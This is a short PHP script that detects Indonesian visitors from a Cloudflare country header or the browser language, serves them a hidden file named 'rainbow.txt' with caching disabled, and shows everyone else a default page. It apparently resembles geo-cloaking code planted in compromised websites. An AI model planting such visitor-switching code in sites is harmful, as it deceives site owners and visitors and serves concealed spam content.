c<?php
// ==========================================
// DETEKSI VISITOR INDONESIA
// ==========================================

function is_indonesia(): bool
{
    // Cloudflare GeoIP
    if (!empty($_SERVER['HTTP_CF_IPCOUNTRY'])) {
        return strtoupper(trim($_SERVER['HTTP_CF_IPCOUNTRY'])) === 'ID';
    }

    // Fallback dari Accept-Language
    if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE'])) {
        $languages = explode(',', strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']));

        foreach ($languages as $language) {
            // Hilangkan nilai quality seperti ;q=0.9
            $locale = trim(explode(';', $language)[0]);

            if ($locale === 'id' || $locale === 'id-id') {
                return true;
            }
        }
    }

    return false;
}


// ==========================================
// CACHE CONTROL
// ==========================================

header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');
header('Pragma: no-cache');
header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');


// ==========================================
// PATH
// ==========================================

define('BASE_DIR', __DIR__);


// ==========================================
// GEO CONTENT
// ==========================================

if (is_indonesia()) {

    $file_target = BASE_DIR . '/rainbow.txt';

    if (is_file($file_target) && is_readable($file_target)) {

        readfile($file_target);
        exit;

    }

    error_log(
        'Landing page file unavailable: ' . $file_target
    );
}


// ==========================================
// HALAMAN DEFAULT
// ==========================================

?>

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